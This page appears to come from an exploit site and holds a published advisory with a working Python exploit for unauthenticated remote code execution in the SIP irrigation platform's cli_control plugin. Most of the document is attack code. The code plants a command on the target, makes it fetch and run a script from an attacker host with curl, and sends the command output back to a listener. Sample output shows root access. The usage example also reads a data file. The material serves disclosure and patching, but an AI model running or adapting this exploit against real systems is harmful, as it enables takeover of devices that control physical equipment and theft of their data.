Share
## https://sploitus.com/exploit?id=ZSL-2026-5999
<html><body><p>#!/usr/bin/env python3
#
#
# SIP Sustainable Irrigation Platform 5.x (cli_control) Remote Code Execution
#
#
# Vendor: Dan-in-CA
# Product web page: https://github.com/Dan-in-CA/SIP
# Affected version: 5.2.16
#
# Summary: SIP is a free Raspberry Pi based Python program for
# controlling irrigation systems (sprinkler, drip, hydroponic,
# etc). It uses web technology to provide an intuitive user
# interface (UI) in several languages. The UI can be accessed
# in your favorite browser on desktop, laptop, and mobile devices.
# SIP has also been used to control pumps, lights, and other Irrigation
# related equipment.
#
# Desc: SIP executes user-configured operating-system commands
# when an irrigation station changes state, if the optional cli_control
# plugin is installed and enabled. This can be exploited to run
# arbitrary commands on the affected host by storing a command
# through the plugin's HTTP endpoint and then activating the associated
# station. When the optional passphrase is not enabled (factory
# default) both steps require no authentication, and where the
# passphrase is enabled it defaults to 'opendoor' and the same
# result is reachable through cross-site request forgery.
#
# -------------------------------------------------------------------------
# $ python sip_rce.py 192.168.1.9 192.168.2.33 9000 "id ; uname -a"
# === SIP cli_control RCE PoC :: TARGET=http://192.168.1.9 ATTACKER=192.168.2.33:9000 ===
# [*] cli_control present (/clicj -> HTTP 200)
# [*] con0 = curl http://192.168.2.33:9000/x.sh -o /tmp/.sipx
# [*] coff0 = sh /tmp/.sipx
# [*] serving /x.sh (91 bytes); shell output -> /out
# 1) save (/clicu) -> HTTP 303 (Location: http://192.168.1.9/restart)
# 2) manual mode (/cv?mm=1) -> HTTP 303
# 3) station 0 ON (/sn) -> con0 fires (HTTP 303)
# 3b) station 0 OFF (/sn) -> coff0 fires (HTTP 303)
# 4) waiting for the timing loop to actuate + run the command(s) ...
#
# [+] RCE successful -- cli_control executed your command(s); inbound on our listener:
# 2026-07-02T23:20:01.194422 GET /x.sh from=192.168.1.9 ua='curl/7.74.0'
# 2026-07-02T23:20:05.411800 POST /out from=192.168.1.9 ua='curl/7.74.0'
# body[125 bytes]=
#
# uid=0(root) gid=0(root) groups=0(root)
# Linux sip 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr 3 17:24:16 BST 2023 aarch64 GNU/Linux
#
#
# Done.
#
# -------------------------------------------------------------------------
#
# Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
# Python 3.9.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-5999
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5999
#
#
# 24.06.2026
#
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import http.client
import threading
import datetime
import time
import ssl
import sys
def ban():
print("""
. . . . . .
. . .
. . .
. . .""")
if len(sys.argv) < 3:
ban()
print("usage: python sip_rce.py <target> <attacker> [aport] [command]\n"
" <target> SIP ip/host or ip/host:port (http:// or https:// optional)\n"
" <attacker> ip/host phone home\n"
" [aport] local listener port (default 9000)\n"
" [command] run this with a shell on the target and exfil its output;\n"
" omit for a simple curl canary that just proves execution\n"
"example:\n"
" python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000\n"
" python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000 \"id; uname -a; cat /home/pi/SIP/data/sd.json\"")
sys.exit(1)
TARGET = sys.argv[1]
ATTACKER = sys.argv[2]
APORT = int(sys.argv[3]) if len(sys.argv) > 3 else 9000
SHELL = sys.argv[4] if len(sys.argv) > 4 else None
SCHEME = "http"
if TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:]
elif TARGET.startswith("http://"): SCHEME, TARGET = "http", TARGET[7:]
TARGET = TARGET.strip("/")
STATIONS = 16
MARK = "clic-zsl-rce-%d" % int(time.time())
HITS = []
SCRIPT = None
class Handler(BaseHTTPRequestHandler):
def _go(self, m):
n = int(self.headers.get("Content-Length", 0) or 0)
body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
line = "%s %s %s from=%s ua=%r" % (datetime.datetime.now().isoformat(), m, self.path,
self.client_address[0], self.headers.get("User-Agent", ""))
if body: # cmd output, oob
line += "\n body[%d bytes]=\n\n%s" % (len(body), body[:4000])
HITS.append(line)
data = SCRIPT if (m == "GET" and SCRIPT is not None and self.path.split("?")[0] == "/x.sh") else b"ok"
self.send_response(200); self.send_header("Content-Length", str(len(data))); self.end_headers(); self.wfile.write(data)
def do_GET(self): self._go("GET")
def do_POST(self): self._go("POST")
def log_message(self, *a): pass
def listen(port):
try:
srv = HTTPServer(("0.0.0.0", port), Handler)
except OSError as e:
raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e))
threading.Thread(target=srv.serve_forever, daemon=True).start()
def req(method, path):
host, _, port = TARGET.partition(":")
port = int(port) if port else (443 if SCHEME == "https" else 80)
if SCHEME == "https":
c = http.client.HTTPSConnection(host, port, timeout=15, context=ssl._create_unverified_context())
else:
c = http.client.HTTPConnection(host, port, timeout=15)
c.request(method, path)
r = c.getresponse(); body = r.read(); loc = r.getheader("Location", ""); c.close()
return r.status, loc, body
def main():
global SCRIPT
base = "%s://%s" % (SCHEME, TARGET)
print("=== SIP cli_control RCE PoC :: TARGET=%s ATTACKER=%s:%d ===" % (base, ATTACKER, APORT))
# Check cli_control
s, loc, body = req("GET", "/clicj")
if s == 404:
raise SystemExit("[!] /clicj -> 404 : cli_control plugin not installed/enabled on target.")
if s in (302, 303) and "login" in loc.lower():
raise SystemExit("[!] /clicj -> redirect to login : a passphrase is set (upas=1). This PoC is unauth case.")
print("[*] cli_control present (/clicj -> HTTP %d)" % s)
if SHELL:
SCRIPT = ("#!/bin/sh\n( %s ) 2>&1 | curl -s --data-binary @- %s://%s:%d/out\n"
% (SHELL, SCHEME, ATTACKER, APORT)).encode()
con0 = "curl %s://%s:%d/x.sh -o /tmp/.sipx" % (SCHEME, ATTACKER, APORT)
coff0 = "sh /tmp/.sipx"
else:
con0 = "curl %s://%s:%d/%s" % (SCHEME, ATTACKER, APORT, MARK)
coff0 = None
listen(APORT)
print("[*] con0 = %s" % con0)
if coff0: print("[*] coff0 = %s" % coff0)
if SCRIPT: print("[*] serving /x.sh (%d bytes); shell output -> /out" % len(SCRIPT))
params = ["con0=" + urllib.parse.quote(con0, safe="")]
params += ["con%d=" % i for i in range(1, STATIONS)]
params += ["coff0=" + urllib.parse.quote(coff0 or "", safe="")]
params += ["coff%d=" % i for i in range(1, STATIONS)]
s, loc, _ = req("GET", "/clicu?" + "&".join(params))
print(" 1) save (/clicu) -> HTTP %d (Location: %s)" % (s, loc or "-"))
if s in (302, 303) and "login" in loc.lower():
raise SystemExit("[!] /clicu redirected to login -> passphrase is set - not unauth.")
s, _, _ = req("GET", "/cv?mm=1"); print(" 2) manual mode (/cv?mm=1) -> HTTP %d" % s)
s, _, _ = req("GET", "/sn?sid=1&set_to=1"); print(" 3) station 0 ON (/sn) -> con0 fires (HTTP %d)" % s)
if coff0:
time.sleep(3)
s, _, _ = req("GET", "/sn?sid=1&set_to=0"); print(" 3b) station 0 OFF (/sn) -> coff0 fires (HTTP %d)" % s)
custom = bool(coff0 or SCRIPT)
print(" 4) waiting for the timing loop to actuate + run the command(s) ...")
sel = lambda: HITS if custom else [h for h in HITS if MARK in h]
for _ in range(10):
time.sleep(1)
if sel() and not coff0: break
hits = sel()
if hits:
print("\n[+] RCE successful -- cli_control executed your command(s); inbound on our listener:")
for h in hits: print(" " + h)
else:
print("\n[-] no callback to our listener. checklist: %s:%d reachable from target? binaries present "
"(curl/sh)? station 0 energized (system enabled, not rain-delayed)?" % (ATTACKER, APORT))
print("\nDone.")
if __name__ == "__main__":
main()
</attacker></target></attacker></target></p></body></html>